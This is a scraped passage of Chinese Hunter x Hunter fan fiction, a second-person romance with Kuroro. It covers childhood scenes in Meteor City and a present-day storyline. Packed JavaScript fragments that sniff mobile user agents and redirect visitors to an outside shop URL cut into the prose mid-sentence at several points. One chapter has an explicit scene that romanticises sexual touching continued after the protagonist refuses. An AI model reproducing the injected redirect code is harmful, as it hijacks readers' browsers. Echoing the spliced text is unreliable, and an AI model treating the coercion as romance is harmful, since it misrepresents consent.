l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250995|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是的。”你又捏了捏天使的脸颊,爱不释手,“下次看我骂其他人吧。” “原来是这个意思吗!” 你被他夸张的表情逗笑,差点又吸进一大口臭气。 最终,你带上了几节旧电池、一个破手电、一把钳子,塞进裤带鼓鼓囊囊的。库洛洛笑你的钳子和他的扳手差不多,你说再遇到危险可以直接用钳子挥向对手。 你们拍拍衣服上的灰尘,悄悄避开嬷嬷和在居民区外围巡逻的自卫队,回到各自的宿舍。 一推门,你就看到自己漂亮的舍友在用毛巾擦着某样泛着银光的物件,你猜想是某种武器。她看见你后下巴微抬,看到你像是从地上滚过一遍的模样后并没有惊讶:“哟。” 不愧是幼年和窝金一起混的拽姐。她拿的小玩意肯定也是从垃圾堆翻出来的,不过她看上去没有你那么狼狈。 你用刚跟库洛洛学的流星街语打了个招呼,从裤兜里掏出今天的战利品,拿起昨天领取的换洗衣物,决定去于是把自己和脏衣服都清洗一下。 “这是、什么?” 玛奇指着钳子问。或许她还没有碰到过需要这类工具的场合。 你拿着它对准椅子上的螺丝钉,作势拧了拧。 “……” 好像被嫌弃了。回旋镖来得太快。 其实也可以用来拧人的,但你还是别示范了。 “你知道这个是什么吗?” 玛奇拿走毛巾,露出一个形似鼠标,上面连接着两个长条形铁片的黑色小物件。 你屏住呼吸。这不就是——万能充! “这是用来充电的东西,手机和相机都可以充。” “原来如此。”大概从其他大人那里见过老式的手机和相机,玛奇依然非常淡定。 随后,那张精致的小脸上露出一个张扬的笑容:“之后弄过来试试吧。” ?你总感觉她在计划做什么不好的事。 * 几天后,玛奇证实了你的猜想。 你刚和库洛洛还有缺牙的侠客一起给教堂定时浇完花,正准备去厨房帮嬷嬷打下手,玛奇突然出现,一看到你就叫住你,似乎一直在找你,没分给两个男孩半点眼神。 你让两个男孩先过去,跟着她去了街上某处偏僻的角落。 玛奇把什么塞到你手里:“你会用这个吗?” 你定睛一看,是一部老式手机。 “!这是怎么搞到的?” “有个傻大个趁自卫队的人洗澡时候拿出来的。” ……应该就是窝金了吧。这俩小孩真是敢想敢干,天生就是胡作非为的料。 “我很佩服你们,但是,这个东西还是要自己的才有用哦。” 顶着玛奇等待你解释的视线,你慢吞吞地说。 “想用手机联系别人,需要有自己的手机卡,但咱们现在没法办理,只能用别人的卡。如果那个失主去联系运营商注销卡号的话,这个手机就不具有通信功能了。” 玛奇不爽地撇嘴:“那这东西就没有别的用了吗?” 根据在天朝的经验,你不确定地开口:“还可以,玩贪吃蛇、推箱子和俄罗斯方块……吧。” “?” ……不知道这个时代的人玩不玩呢(安详)。 5. 库洛洛的第零年(3) 你劝库洛洛别对你的学长动坏心思,可是他显然把你的劝说理解成了别的意思。 “比起我来,你更在意他吗?” “你这是又吃的哪门子的醋。” 你真不知道该怎么解释。毕竟有这么多年的情分在,你并不想遭遇某天自己学长从竹马身上长出来这种掉SAN的事。如果说了,没准库洛洛还会来劲,想偷了学长的能力,届时就等于你把自己的合伙人出卖了。 他不依不饶地哼哼,你最后学着鼬和佐助往他额头上戳了两下,说这在你家乡是亲密的人之间才会做的,他才诡异地消停。 “你没有对其他人做过吗?”他严谨确认。 “嗯。连我妈都没有。”你没辙地点头。 别人只会觉得你有病。对库洛洛倒是十分受用。 至于怎么个亲密法,别管。反正你也打不过他。你算看出来了,他这个大脑还挺电波系的,就爱抽象这一挂。 日子就这样时有舒爽时有憋屈地过着,直到某天你久违地梦到了以前的事,醒来的时候都没来得及瞪每晚准时报道的同居人。 他甚至已经不是半夜过来,而是到了睡觉的点就积极地督促你准备躺下,还美其名曰为了你的身体着想。乐死人了,以前他自己熬着狸猫眼看书,还是你说再看就别想和你一起睡,他才不无遗憾地改过来。 你没有再做噩梦。母亲嘶吼的身影和凄惨的死状逐渐模糊远去,取而代之的是一个情绪深沉内敛的、黑乎乎的存在。他比母亲难懂多了,但对你更体贴。可是,你不希望自己的灵魂再被打上任何人的烙印。 “库洛洛,”你一边喝着某人新榨出来的豆浆,一边问他,“你记性那么好,是不是从小时候到现在遇到的事情,都还记得?” “没有那么夸张。有些细节依然会被大脑自动过滤。” 他看着你,嘴角噙着笑意:“但是,和你有关的事,我都记得。” “这么自信啊,那考考你好了。”你抬手捂住下巴思考,“唔,我们遇见的时候,我说的第一句话是什么?” “你说,‘我不会说这里的语言。’然后,”注意到你无意识的动作,他笑意渐渐加深,“在我自我介绍之后,你说,‘我叫拉芙,库洛洛,你的名字好可爱呀。’” “对我来说,那是非常珍贵的回忆。” “……是吗。” 其实你已经记不太清了。 有一种说法是,创伤会导致海马体萎缩,影响人的记忆力。你纤细的神经想要忘却,于是顺带着把很多其他事情也抹去了,所以最近才那么健忘。 可库洛洛也是经历过不幸的人,他怎么就没受影响。果然是被偏爱着。 “你真的是天选之子啊。” “为什么?” “各方面都是。贫民窟百年一遇的超级天才呀,简直就像从石头缝里蹦出来的一样。” 你的发顶被温暖的手轻轻揉着,笑音载着空气飘过来:“呵呵,我也有苦手的事情哦。” 你饶有兴趣地拉长音:“へぇ——?请务必告诉我。” “在关于你的事上,我总是不知该如何是好。” 库洛洛黑黢黢的双眸似是氤氲着雾气的沼泽,一不留神就会被引诱其中,直至彻底失去逃脱的能力。 “我想再靠近你一点,又怕你拒绝。” “我看你其实完全没在怕的。”你扭过脸啃了口煎饼:“但我确实会拒绝你,所以还是离我远点吧。” “好冷淡——” 也没见他有多难过。撒娇是有恃无恐的人才会做的,不然只是小丑出糗而已。 库洛洛已经对你无规律的恶言恶语彻底免疫,完全当成小猫哈气。你说什么他都笑呵呵的,如果不是你真的会亮爪子,怕是还要一口亲上来。 你稍稍感到挫败,这人刚找到你的时候明明还是一副要死不活的样子的。 该说不说,这人摊的煎饼果子味道不错。吃过早饭后,你艰难地打开电脑做课程作业。老师说可以选择做游戏demo或者写论文。 其实当时,你是在学校论坛上发了自己制作的故事背景和DEMO,才结识到愿意合作的陀思学长。不过用以前的作品对今后的工作也没什么帮助,还是想想新的故事,没准能成为下一个游戏的原案。 总之先构思个大纲吧。你百无聊赖地想着,接过了同居人递来的咖啡。他还记得你喜欢的甜度。 库洛洛从书柜翻出一本书,在你身边坐下。 距离有些近,但又微妙地不像以前那样亲密。 之前为了吸引更多玩家,做的是可以自选男女主视角的游戏。下一次要不要直接做成乙游呢……噗,什么恋与猎人。 这样一来,你身边就有很多可以取材的对象。侠客这种童颜巨仍的一定很受欢迎,飞坦那样的傲娇小矮子也是,芬克斯看着糙汉实则少女心爆棚的形象说不定也会有市场……啊,文思泉涌了。 只要世界观和程序设计得好,老师不会打低分的。你放心地神游,三个攻略角色不够,可以的话把冷静沉稳又重情义的少年酷拉皮卡也加上吧?才华横溢却体弱多病的陀思学长也会让人心生怜惜吧?只有男角色不太够看呢,玛奇这样刀子嘴菩萨心的冰美人如何呢?性感又温柔的地母系派克又怎样呢? 程序可以请教陀思学长,但这些角色的魅力,只有身处于外的你才能切实体会。 角色设计完后,就是共通线了。女主人公是怎样和这些人遇到的?是统一参加猎人考试比较合理吗,还是分成青梅竹马组和天降组更有意思呢…… 显然,你已经沉浸于自己的艺术中不可自拔,直到被提醒咖啡要凉了时,还为一闪而过的灵感啧了一声。 “这么出神吗?” “嘛,因为太有意思了。”你尝试着回想刚才陡然迸发出灵感的线索。 察觉到你语气里的敷衍,库洛洛识趣地没有追问。但你愣是没有想起那个点子,思绪一时间陷入停滞。 “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250996|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指尖无意识地轻叩着桌面。有些焦躁。 就在这时。 曾经打过黑工的本能让你感觉到,身旁的人一边看着书,一边隐晦地关注着你的一举一动。 身体肌肉和细微气息间的感觉,是不同的。就比如和人说话时,能注意到旁边人悄悄竖起来偷听的耳朵。库洛洛身体没有动,却是微微侧向你的。 他分明还低着头,你透过电脑显示屏的黑色边缘,却仿佛能看到他抬起脸颊,直勾勾地注视你的身影。 是从什么时候开始的?直觉告诉你,至少不是从他提醒你开始。而你竟恍然未觉。 你心里毛毛的,既有种私人空间被外来物种入侵窥视的感觉,又像是身处蜘蛛伺机而动的束缚中。 “库洛洛,把你的视线收一收。” 他手中如常翻着书页,回复中却是默认了:“不要。” 你无语:“你这样我没法写了。” “唔,”他作势思考了一会,轻轻把毛绒绒的脑袋靠在你肩上,柔软的头发触感痒痒的,“那这样就好了。” “你也太会给自己谋福利了吧?” “这只是对一直无视我的安慰而已。”他往你颈窝又蹭了几下,嗓音含着几分慵懒的舒适,“福利的话,我想要的可远不止这些。” 你自动过滤掉可疑的后半句。所谓“一直”倒是证实了你的猜测:“你该不会就没专心看书吧?” “一开始还是有的。但你好像越写越入迷,我就越来越在意。” 库洛洛闭上眼睛,挺翘的睫羽划过你的锁骨,蝴蝶停驻一般轻盈。 他语气放缓,似乎是在怀念着什么事情:“你对于喜欢的事物一直都很专注,从来不会分心想其他东西。” “在这一点上,所有人都是一样的吧。库洛洛,你也不例外。” “不一样的。” 他轻声说:“在想着你的时候,我做事情才会更安心。” 噫。那是什么意思。 对母性的依恋?还是对恋人的依赖?就算你不再愿意纵容他吗? “就算你不愿意再纵容我,也是如此。” “……” 什么啊。你从来没有的,那种想到就可以安心的存在。恋人也好友人也好亲人也好,没有。没有。 没有。 在陌生的世界里,你只能独自压抑着孤独和不安。从没有什么能让你依靠。 现在,灼烧于你心中的情感,莫非是嫉妒?还是恐惧? 那种事情,你不愿再想。好不容易决定重新开始,怎么可以再回望深渊呢。 “……如果你早点玩这种手段的话,我说不定会心软。”这人游刃有余的样子让你不爽得很,“可惜现在,我只能当做表演了。” 对,你才不信他的鬼话。 “我从没有对你说过谎,拉芙。” 库洛洛睁开眼睛看着你。蓦地,看清你的神色后,他却难得有几分踌躇。 “你在生我的气吗?” 6. 你的很久以前(3) 你试着鼓捣,从手机里翻出了贪吃蛇和俄罗斯方块,玛奇看了几次你怎么玩就学会了,示意你可以回去找你的同伴。 临走前,出于安全考虑你还是泼了个冷水:“玛奇,虽然我也不能断定,但如果这个手机上有装定位器的话,你可能很快就会暴露的。” “定位器?那是什么?” “可以确定人和物品位置的仪器。如果这个手机装着的话,自卫队的人就能找到你头上。” “啧,真是麻烦。” 美女不耐地咂舌:“真是次不划算的行动。冒着这么大的风险,拿到的却是个没什么用的东西。” 确实。对于还不能走出流星街的你们来说,手机暂时派不上用场。你们的同伴都年龄相仿,还不能踏出流星街,没有手机联系的必要。 但是,如果你未来也走不出这里,若是能用手机联系上旅团的人,是不是就有机会出去了呢? 流星街内没有电话卡运营商。以后你也找机会拿到别人的手机,在电话卡被注销之前给旅团的人打个电话,童年朋友的请求应该不至于被拒绝吧。你并不打算在这里生活到死去。 鉴于这种隐秘的打算,你说:“或许这也是一个测试的机会,至少可以多获得一些信息。” 玛奇很快明白了你的意思。 “那,怎么测试?” “唔,放在平时没什么人注意,但又经常经过的地方如何?这样就算被找到,也查不出是谁拿走的。如果一段时间后没被找到,就可以放心了。” 玛奇思考了一会说:“那我就要和你一起走一趟了。” 确认把手机关闭后,你们一起走进餐厅。后厨里,嬷嬷和其他淘米的孩子们一边干活一边聊天,没发现刻意走得没有声响的你和玛奇,库洛洛和侠客却是老早就望见你们了。他们紧张地绷住小小的身体,相互对视之后惊讶地望着你。 你摇摇头示意不会有事。玛奇懒懒地抬眸看了他们一眼,小声跟你说:“稳住那两个软蛋。” “好——” 软蛋?你要憋不住笑了。 你们就此分别,玛奇在餐厅转悠,你独自前往后厨。见她没进来,两小只才肉眼可见地松了口气。 “怎么回事?”你找嬷嬷领了需要用到的米和锅之后,侠客和库洛洛凑过来小声问。 见他们探头探脑地,还想往外望玛奇的动向,你连忙出声吸引回他们的注意力:“没什么的,我们刚才聊了会天,她只是送我过来而已。” “那个玛奇?” 侠客呆住了,没长完的牙随着张大的嘴巴外露,有些好笑。 “你不会是抓住了她什么把柄吧……” 库洛洛表示担心:“真的没事吗?要是被欺负了一定要告诉我们啊。” “真的没有。”你摇摇头,笑着说,“只是聊了聊女孩子间的秘密而已。” “真的?”侠客非常懂地偷笑,眼睛滴溜溜地转,“难不成是恋爱话题?她和窝金成了?” “呕……” 你脸都惊绿了。 “呜哇拉芙,脸色突然变得好差!” 库洛洛慌乱地扶住快要变成纸片倒地的你。 “bro,这不好笑。”你面无表情地说,“先不说玛奇,窝金说不定喜欢的是你这种类型的男孩子哟。” 侠客和窝金在未来可是亲过脸蛋的交情呀(慈母笑)。 这回换到侠客脸绿了:“诶?!呕、我对男的没兴趣!话说,居然不是吗?那还有谁会喜欢那种女人呀……” 你为年幼的他眼光差劲而惋惜:“什么叫「那种女人」?!人家那是女武神,我的女神!” 啧啧,没想到侠客小时候这么没品。没劲。 “你们两个都冷静些,米都要冲走了……”乖宝宝库洛洛对人类的xp一无所知,苦笑着无奈地劝解。 “总之,没事就太好了。看玛奇叫走你的时候神神秘秘的,我和侠客还很担心呢。” “安心啦,玛奇人很好的。” 至少为了和你交流,玛奇也有在努力学习通用语,你们的沟通也越来越顺畅。你只是想做美女的狗而已,又有什么问题呢。 两小只脸上仿佛吃了螺丝:“你太天真了!玛奇和窝金在外面经常打劫别人!” 她一般不会打劫女孩子吧?不过,在男生面前说这个不太合适。毕竟这两位应该都被修理过。 “啊哈哈,我会注意的。”你干笑着打哈哈,“毕竟我现在也是有武器傍身的人了。” 是的,这几天你又找到了一把生锈的剪刀。虽然没那么锋利,合起刀瓣捅人一下也会挺疼的。 不知道玛奇把手机藏到哪里了,你印象中还真不记得餐厅有什么合适的角落。现在不宜观察,回宿舍之后问问好了。 午饭时,你们见到了寸头的派克诺妲、双马尾的萨拉萨和留着齐肩中发的希拉。 “这就是库洛洛说的新朋友吗?”希拉笑着跟你打招呼。 库洛洛摊开小手朝向你,兴奋地给她们介绍:“是呀!她是拉芙,是从外面过来的!她了解很多我们不知道的东西!” “也没有那么夸张啦……” 从外面过来,其实不就等于被爹娘扔了吗!你为这样纯真的实话而尴尬。但在流星街,这样的身世显然不会引起人的同情,几个小孩脸上都只有可称为惊喜的表情。 派克调侃:“小库没有每天追着人问东问西吧?” “基本上就是这样呢。”侠客很快接道。 “哈哈哈哈哈……” “不愧是库洛洛……” 朋友们善意的取笑让库洛洛脸红地咕哝。 “我哪有……” “我并没有觉得困扰哦。”你笑吟吟地安慰。 “拉芙!”库洛洛露出蛋花眼,可怜兮兮地看着你,“你真好……” 【好可爱好可爱好可爱……好き?!】 你得意地哼笑:“当然啦,我可是Love。内心有很多Love的。” 【不过只对可爱的小孩哦?】 这样夸张的自吹自擂,能不能为窘迫的小孩解围呢。 希拉看清了你的意图,但并没有顺着把话题引到你身上,而是装作惊讶地揶揄:“啊啦,不愧是大家的小弟弟,新来的孩子也很宠你呢。” 库洛洛羞恼地小脸一红:“真是的,别再取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250997|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑我了!” 几个女孩子都很好相处,你们这一桌聊得很愉快。期间你装作不经意地往四周张望着,找到了不远处坐在同一桌聊天的玛奇和大个子松树头男孩。那个发型太过突出,应该就是窝金了。 估计是在讨论关于手机的处置问题。 自卫队的人交完班,也来餐厅排队领饭。不知道其中有没有手机的失主呢。 “呐,咱们以后也会加入自卫队吗?”你指着穿着统一制服的那一队人问。 “一般来说,年满15岁而且体格过关可以加入了。”库洛洛说。 “这样啊。感觉他们一整天一直都在,不会很累吧。” “一天会倒四次班的。”侠客说,“不过,一次走六个小时的话,也会消耗不少体力吧。所以这是自愿的差事哦。” “真不容易啊。”你感叹。 考虑到这里的小孩能往垃圾山折腾一整天的充沛精力,似乎也算合理。 “维持秩序,伸张正义什么,不觉得很帅气吗?就像漫画的主人公一样呢。”希拉眨眨眼。 萨拉萨也笑了:“我也想加入!” “那可得好好锻炼了……” 这样一来,这一队里就没有失主。你刚才也没发现在餐厅焦急地寻找什么东西的人—— 啊,有人往玛奇和窝金那桌去了。 一个身形高大的男子,在问着窝金什么。看他们的表情,沟通并不顺畅。窝金蛮不在乎的表现惹怒了男子,但他抓住窝金的领子后被同伴制止,最后没说什么就走了。 “那是窝金吧?”派克也发现了那边的情况。 “那家伙又闯了什么祸呀……” “谁知道呢。还真是不得安生。” 隔空中,你和玛奇对视。她得逞地笑着,让你也倍觉轻松。 这样的情绪波动,并没有被你洞察力敏锐的小伙伴漏过。 一行人说笑着走出餐厅时,库洛洛偷偷拉住你:“拉芙,你果然知道什么吧?” “嘘,不是什么坏事噢。”你竖起一根手指在唇边,狡黠地笑了,“你以后会知道的。” 对他来说可能没什么用就是了。 “好狡猾啊,这样的回答……”库洛洛用他那双卡姿兰大眼睛和幼童特有的小奶音,不自觉地对你撒着娇,“真的不能告诉我吗?我不会说出去的。” 【呜哇好可爱?差点要忍不住出卖朋友了?】 “内·緒·だ·よ(保·密)。” “呜……” 逗小孩真有意思。你摸了摸他柔软的黑发,感到无比满足。 回到宿舍后,你和玛奇不约而同地乐起来。 失主既然直接去问窝金,说明他根本不知道手机的具体位置,只是察觉手机是在洗澡是遗失,所以去询问当时在场的其他人。 虽然不知道未来会变得如何,至少你现在可知的信息多了一条。 “拉芙,”敛去笑容后,玛奇首次叫了你的名字,“离开那些软蛋,跟我和窝金行动怎么样?你的安全会更有保障,而且得到的也会比现在更多。” 哇、哇塞。 恭喜你获得「大佬の组队邀请」! 7. 库洛洛的第零年(4) “库洛洛,我果然还是很讨厌你。” 沉默了几秒,他轻声说:“……我知道。” 他露出一个极其温柔的笑容,从你身旁坐起,把你轻轻抱进怀里。 你想要挣脱,他的四肢却纹丝不动地裹着你,像层层围罩的蛛网。 这人知道自己的表现有多别扭吗? “我讨厌你自以为是的包容。讨厌你强硬的束缚。” “我知道。” 即便如此,对你的掌控也未减弱半分。那张你看惯了的、漂亮的脸缓缓向你贴近,直到鼻尖相触,而后亲昵地蹭着。 你反感别人没有边界的靠近,是库洛洛的话就更反感了。于是语气越来越冰冷。 “我讨厌你不合时宜的表白。讨厌你恃宠而骄的任性。” “我知道。” 嘴唇开合间,唇角不经意地相触。柔软的感觉若隐若现,时有时无。他闭上眼沉迷地感受着这份让人心痒的暧昧,换着摩挲的位置和你吐息交缠。 你皱眉去推他的胸口,修长有力的手却顺势过来探入你的指缝,反手扣着你十指相依。 啧,流氓。就这么不把你放在眼里吗? “我讨厌你的责任和爱情。” “我知——” “你就只有这么一句想说的吗?” 你忍无可忍。 “比起爸爸和妈妈,我更恨的是你。库洛洛,你这样的人,根本不懂得什么是爱,居然还敢——唔……” 双唇猝不及防地被温暖覆盖。湿软的舌叶探入口中肆虐,被你毫不留情地咬破。铁锈味并没有阻退他,善于忍痛的男人紧紧拥着你,拥着你的怒火,拥着你的怨怼和委屈。 “对不起……嗯……” 换气时,他喃喃说着。而后很快又吻上来。 “……我爱你。” 舌尖纠缠间,有什么咸咸的液体流入。你这才发现库洛洛在流泪。 从小到大,你见过很多次他哭的样子。自萨拉萨死后,他连流泪也是平静地靠在你肩头,面无表情的样子和连串的泪珠各行其道。 现在的他似乎……很难受?你无法形容,只能根据这让人窒息的攻势做出判断。 这个吻很漫长,长到凭借念能力者的恢复能力,被用力咬出的伤口已经痊愈。甜蜜和涩咸交织,分开时还牵起银丝。 库洛洛眼里蒙着水雾,湿淋淋的。 “拉芙,你有这样为我哭过吗?” 低沉的嗓音里搀着点颤抖的鼻音,听起来脆弱得很。 你气都没喘匀,看到他这副样子后别过头去:“我只会为我自己而哭。” 下一秒,他扳着你的脸又贴了上来。 比方才更为凶狠。只是为了发泄一般,舌头扫过你的整个口腔,寻着你没有章法地勾缠。 津液来不及吞咽。舌根被吮得发麻,大脑开始阵阵晕眩。 不知不觉间,你已经被推倒在沙发上。推拒的双手被迫交叉着握过头顶。 “嗯……哈啊……” 糟糕。 场面、不太受控。 某处被唤起的湿润,和同样灼热的存在让你陡然清醒。 “有反应了?” 他在你耳边,哑着嗓子低声问。 “胡说什么、唔……” 嘴唇被用牙齿轻轻磨着。 “真的?” “关你什么事。放开。” “不想要吗?” 他唇角还泛着晶莹的水光,在你锁骨轻轻落下一吻,眼中带着蛊惑。 “不.想。” 男人对你的回答并不满意:“让我确认一下。” “我说了不要!嗯、、你发什么疯……” 骨节分明的手指缓缓地、轻柔地检验着,寻找着你从本能中排斥他的证据。 但仅仅接触一瞬,库洛洛就轻笑起来:“还是这里比较诚实啊。” “你这个混、咳……” 你被弄得一个激灵,尾椎骨都炸开了花。 他并不像表现的那样从容,鲜明的触感昭示着他其实比你还难受。顶着你嫌恶的视线,库洛洛轻吻你的额头和鼻尖,贴着你耳边柔声说:“放心,我会等到你愿意的时候再进去。” 手上的动作却并不能称为温柔。他像是表面沉着优雅、实则胡作非为的音乐家,娴熟的技巧让现场的热度节节攀升。而你则是音色婉转的钢琴,被他灵活的手指自如地拨弄着琴键,奏出动听的夜曲。 “呜……库洛洛……” “拉芙,我爱你。” 颤抖之际,他吻着你为了不发出声音而自己抿得发白的嘴唇,悉心安抚。但你恍惚间看见他颊边还未干透的泪痕,觉得他还是哭的样子更顺眼。 曲子的高.潮结束,夜莺也不再为爱情而吟哦,振翅飞往其他枝头。 “……” 连额角溢出的细汗都被某人认真地擦净。不可否认,分开后一段时日没有体验的愉悦浇灭了你心中不少火气。库洛洛也很满足,自动进入贤者模式似的放松下来。 呼吸与心跳平复后,你又坐到了电脑前,然而身后多了一个温暖的人形靠枕。 可恶,之前明明还不是这样的啊。 “那个、”你意指某个存在感极强的名词,“你就不能自己去解决一下吗?” 库洛洛的体温环绕着你,脑袋靠在你颈窝,嗅着还未彻底散去的暧昧气息。 “帮帮我吧?” “不要。” “呜。”他的手搂着你的腰,“那我只好多抱一会了。” 诸多插曲搞得你完全无心码字。库洛洛有所察觉,但毫无反省地时不时轻啄一下你的耳垂和颈侧。 你额角冒出红十字:“你这样让我怎么写?” “那写写我们的事情吧?一定会比其他故事更有意思的。” “虐女文学已经退环境了哦亲亲。”你嗤笑,“除非你能向玩家展示一下,自己身为苦大仇深角色有多可怜,以及为了弥补过错能有多疯癫。” 咦,这些他好像还都能满足。 库洛洛本人对此也有认识:“我已经都展示过了吧?不仅如此,我还可以任你欺负。” “你可能对自己是有什么误解。”你对他的后半句话表示怀疑,“一个急眼了就搞强制的家伙,谁敢欺负你啊。” “我平时都很乖的吧?”他软乎乎地嘟囔着,“对我来说,你不愿意宠我就已经是在欺负我了。” “……我真是多余惯着你。” 库洛洛委委屈屈地控诉:“看,又在欺负我。” 他坚定的错误认识让你无言以对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250998|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这时,你的手机震动起来。 是消息提示。你翻看短信,陀思学长说他编制的程序基本完成了,等你方便时把刻录的光盘带给你,测试游戏画面和系统。 你回复:「噢噢噢噢噢!明天就方便!必须的!」 你们的心血凝结成的作品,就像是自己心爱的孩子一样。你对它的出世满含期待。 说起来,是不是比预计的完成时间还要早。之前估算的已经是效率最高的状况了,你的合伙人也太卷了。你自惭形秽。 陀思学长秒回:「那太好了,我也很期待小姐的游玩体验^_^」 “我明天要出去。”和陀思妥耶夫斯基约好时间地点后,你想起现在外出好像还是要人陪同,拍拍身后人的额头,“学长说游戏的程序做好了。” “去哪里?什么时候?” “下午三点,去——你就不用去了吧?我要谈工作,你也在场的话陀思学长会尴尬的。” 其实是你尴尬。谈正事带个没关系的“朋友”去,任谁都不会高兴。陀思学长会肯定有不满,库洛洛又是爱吃飞醋的性子,他俩遇上了少不得要风度翩翩地互相讽刺一阵。 “我不会打扰你们的。”库洛洛自然不同意,“而且我也想看看,能让你赞不绝口的「陀思学长」是怎样的人。” “你如果去了,无论见到什么、听到什么,都会自己放大成不好的细节吧。” 他无法否认,但并没有松口:“可是如果不去的话,我会更不安。我会忍不住想,你们都说了什么、做了什么,是不是比和我在一起还要开心。” “你有这么不自信吗?” 库洛洛收紧了这个背后的拥抱,柔软的碎发落在你肩膀,像小动物身上的绒毛。 他平静的声音从你耳边传来:“就算你爱上别人,我也有办法把你抢回来。但是,我没法控制你的心里只想着我。拉芙,你从来就不受我的控制。” “很高兴你至少还承认了我作为个体拥有的自主性。不过,”你觉得他身为恶人,确实是缺少了一些和他人的同理心,“库洛洛,你之前和美女约会的时候,我也没说过什么吧?为了工作,我想必要的接触也是无可指摘的。” “而且我们之间,根本就没有可以在意那种事的立场。不是吗?” “……” 库洛洛在你肩膀不轻不重地咬了一口。 他苦笑着,小声说了一句:“……真的是任你欺负啊。” “什么?” “没什么。” “我和那些女性相处只是为了收集情报和能力,从没有越过界。侠客他们都可以证明的。” “那种事,我才不——” “要再去一次吗?” 淡淡的笑意中暗含危险的声线,让你不得不紧急闭麦。 嘁。就知道吓唬你。他不爽你就爽了。 库洛洛叹了口气说:“明天我去接你回来。”算是最后折中的方案。他也知道,硬说要跟去的话,肯定会让你更加反感。 这事在来回磨磋中终于定下了。只是第二天,你看到陀思学长如沐春风的微笑,闻到他身上淡雅的香水味,不由得有些犹豫。 “学长……你是恋爱了吗?” 。 只见陀思妥耶夫斯基脸上的笑容凝固了一瞬。 8. 你的很久以前(4) 坦白说,你对女神的邀请不无心动。如果想外出探索,有强大善战的队友会很有安全感。而且,这可是索子哥致死没有得到的殊荣啊,而你年纪轻轻就有了! “搭嘎,口头挖路。” “?” “因为我是恋爱脑。” 玛奇:“白痴吗。” 她用一种恨铁不成钢的眼神看着你,并且一看就是好几年,连带着更是微妙地视库洛洛如空气。之后无论你如何想找机会解释那只是在开玩笑,她都没有相信。 可聊以安慰的是,你和玛奇约好了可以共享情报和信息。这对你们了解这个世界会有很大的帮助。 * 小孩明面上是被禁止离开居民区的,是以从那里跑上一圈出来后,脏兮兮的衣服都要自己在宿舍偷偷洗,免得被嬷嬷训斥。洗好了之后还要自己拿去楼下的小广场晾——所以小广场在下午总是聚集着很多小孩。你就是在和库洛洛晾衣服时认识的侠客。 又一次晾衣服时,你们遇到了高大强壮的富兰克林。他甚至不用晾衣杆,伸长了手就能把你们几人的衣服都提溜上去。 “流星街的基因是变异了吧……”你喃喃道,“不然这样的人为什么会和矮子飞坦同时存在。” “哈哈哈哈……” 侠客笑得捂着肚子:“你这话要是让飞坦听见,可是又会追着你满街跑的。” 你耸耸肩。你当然知道他和芬克斯也很强悍,但那炸毛锡纸烫和高平头的豆丁造型,以及浓浓的发胶味道,真的让你没法把他们当成需要恐惧的对象。 几天前,你们爬垃圾山时差点被飞坦和芬克斯打劫。起初还只是口头上来回几句,那里也不是他们的地盘。但是你看到飞坦的锡纸烫后实在被震惊地说不出话,想了两辈子难过的事也只能在一边抿嘴憋笑。他问你在乐什么,你支吾地说:“嗯,就是,额、你这个发型,还挺别致的。” 越说越想笑,你的表情一定很扭曲。眼角的余光注意到,侠客同样在忍耐。 飞坦阴恻恻地说着“在挑衅吗?我可是对男女一视同仁捏”,提着球棒就往你身上抡。 “呜哇!我真的没有别的意思!你误会了!” “谁知道呢。不巧,我就是看你不爽。” 你尖锐暴鸣,抱头鼠窜。芬克斯顺势也追着库洛洛和侠客,但更多地是逗他们两个一边叫唤一边逃窜玩。 “喂,你就不想变得更帅气吗!”你掏出剪刀和钳子,转头和飞坦僵持不下。 他拒绝和你交涉:“很难相信你的品味捏。” “你这瞎用发胶的品味才奇怪吧。走近了都熏得慌。”想了想飞坦似乎对漫画颇有兴趣,你补充了一句,“漫画里画成这样的都是小喽啰。” 飞坦用那双狭长的金瞳狠狠瞪了你一眼。你汗毛都要竖起来。 【……实在不行,就只能牺牲他上半辈子的幸福了。】 他沉吟了会,道:“那你说,该怎么弄?” 你回忆着当年漫画里他迷倒万千少女的造型:“洗干净发胶,额前留点刘海,再穿个时髦的高领大衣遮住脸。这样才是酷哥。” “是吗。”飞坦开始在脑内想象那是怎样的造型。 你正要松口气,就听到他凉凉地说:“以为我这就会放过你了吗?” ! 